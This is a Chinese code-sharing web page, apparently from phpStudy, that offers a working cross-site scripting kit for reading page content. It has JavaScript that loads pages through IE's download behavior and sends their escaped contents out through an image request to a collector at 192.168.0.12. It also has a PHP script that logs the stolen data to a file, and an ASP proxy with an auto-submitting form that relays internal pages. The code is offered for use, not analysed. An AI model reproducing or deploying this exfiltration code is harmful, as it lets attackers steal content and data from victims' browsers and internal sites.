xss读取php源码,window_xss文件页面内容读取(解决)，js: 复制代码 代码如下: document. - phpStudy...

xss文件页面内容读取(解决)

js:

复制代码 代码如下:

document.body.addBehavior("#default#Download");

var mycars = new Array();

mycars[0] = "l.htm";

mycars[1] = "y.htm";

for (x in mycars )

{

if(document.body.startDownload(mycars[x],GetData)){

GetData(source);

}

}

function GetData(source)

{

txt=escape(source);

getReaded(txt);

}

function getReaded(usr) {

var newimg = new Image();

newimg.src="http://192.168.0.12/style.php?key="+"\n"+"\n"+usr+"\n"+"\n";

}

php:

复制代码 代码如下:

header('Content-Type:text/html;charset=GB2312');

function unescape($str) {

$str = rawurldecode($str);

preg_match_all("/%u.{4}|.{4};|\d+;|.+/U",$str,$r);

$ar = $r[0];

foreach($ar as $k=>$v) {

if(substr($v,0,2) == "%u")

$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));

elseif(substr($v,0,3) == "")

$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));

elseif(substr($v,0,2) == "") {

$ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));

}

}

return join("",$ar);

}

$file="news.html";

$_GET['key']=unescape($_GET['key']);

fputs(fopen($file,'a+'),$_GET['key']);

?>

=================================================以下通用了===============

复制代码 代码如下:

Response.Buffer = True

Dim sUrlB,send(2)

send(0)=escape(PageWebProxy("http://192.168.0.5/sohu.htm"))

send(1)=escape(PageWebProxy("http://192.168.0.5/c.htm"))

function PageWebProxy(xmlpath)

Dim i, re, Url, Html

Url = xmlpath

Set re = New RegExp

re.IgnoreCase = True

re.Global = True

sUrlB = Url

Html = getHTTPPage(Url)

Url = Left(Url, InStrRev(Url, "/"))

i = InStr(sUrlB, "?")

If i > 0 Then

sUrlB = Left(sUrlB, i - 1)

End If

re.Pattern = "(href|action)=(\'|"")?(\?)"

Html = re.Replace(Html,"$1=$2" & sUrlB & "?")

re.Pattern = "(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"

Html = re.Replace(Html,"$1x=$2$3$2")

re.Pattern = "(window\.open|url)\((\'|"")?((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)"

Html = re.Replace(Html,"$1x($2$3$2)")

re.Pattern = "(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"

Html = re.Replace(Html,"$1=$2" & Url & "$3$2")

re.Pattern = "(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"

Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")

re.Pattern = "(src|action|href)=(\'|"")?\/(\'|"")?"

Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")

re.Pattern = "(window\.open|url)\((\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"

Html = re.Replace(Html,"$1($2" & Url & "$3$2)")

re.Pattern = "(window\.open|url)\((\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"

Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")

Html = Replace(Html, "&", "%26")

If Split(Url, "/")(2) = "club.isso.com.cn" Then

Html = Replace(Html, "%26amp;", "%26")

Else

Html = Replace(Html, "%26amp;", "&")

End If

Html = Replace(Html, "%26nbsp;", " ")

Html = Replace(Html, "%26lt;", "

Html = Replace(Html, "%26gt;", ">")

Html = Replace(Html, "%26quot;", """)

Html = Replace(Html, "%26copy;", "©")

Html = Replace(Html, "%26reg;", "®")

Html = Replace(Html, "%26raquo;", "»")

Html = Replace(Html, "%26%26", "&&")

Html = Replace(Html, "%26#", "")

' Html = Replace(Html, "%26", "")

re.Pattern = "(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"

Html = re.Replace(Html,"$1=$2$3$2")

re.Pattern = "((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)" '"(gif|jpg|bmp|png))"

Html = re.Replace(Html,"?url=$1")

re.Pattern = "\?url=" & Url & "(#|javascript:)"

Html = re.Replace(Html,"$1")

re.Pattern = "multipart\/form-data"

Html = re.Replace(Html,"")

PageWebProxy=Html

End function

Function getHTTPPage(url)

Dim Http, theStr, fileExt

Set Http = Server.CreateObject("MSXML2.XMLHTTP")

If Request.Form.Count > 0 Then

For Each x In Request.Form

theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"

Next

Http.Open "POST", url, False

Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"

Http.Send(theStr)

Else

Http.Open "GET", url, False

Http.Send()

End If

If Http.readystate<>4 then Exit Function

fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))

If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then

Response.Clear

Response.BinaryWrite Http.responseBody

Response.End()

Else

If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then

Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)

Response.BinaryWrite Http.responseBody

Response.Flush

Else

getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")

End If

End If

Set Http = Nothing

End Function

Function BytesToBstr(body,Cset)

Dim objstream

Set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

Set objstream = nothing

End Function

%>

document.writeln("")

document.writeln("

");

document.writeln("");

document.writeln("");

document.writeln("");

document.writeln("")

document.getElementById("var").value ='http://192.168.0.5/sohu.htm'+unescape('');

document.getElementById("vartwo").value ='http://192.168.0.5/c.htm'+unescape('');

document.getElementById("form").submit();相关阅读:

php 变量未定义等错误的解决方法

CSS制作符合网站标准的细线表格

删除dedecms 5.7里面烦人的织梦链的方法

CSS3新特性一览

javascript asp教程第五课--合二为一

找回忘了的密码的原理

ppk谈JavaScript style属性

PHP新手上路(十)

应用IE6所不支持的CSS的type选择器

CSS教程：三列固定网页布局实例

XP系统安装IPv6协议的步骤

如何在退出整个系统前提示用户

ASP 常见对象总结(熟悉一下利用以后的开发使用)

php中随机显示图片的函数代码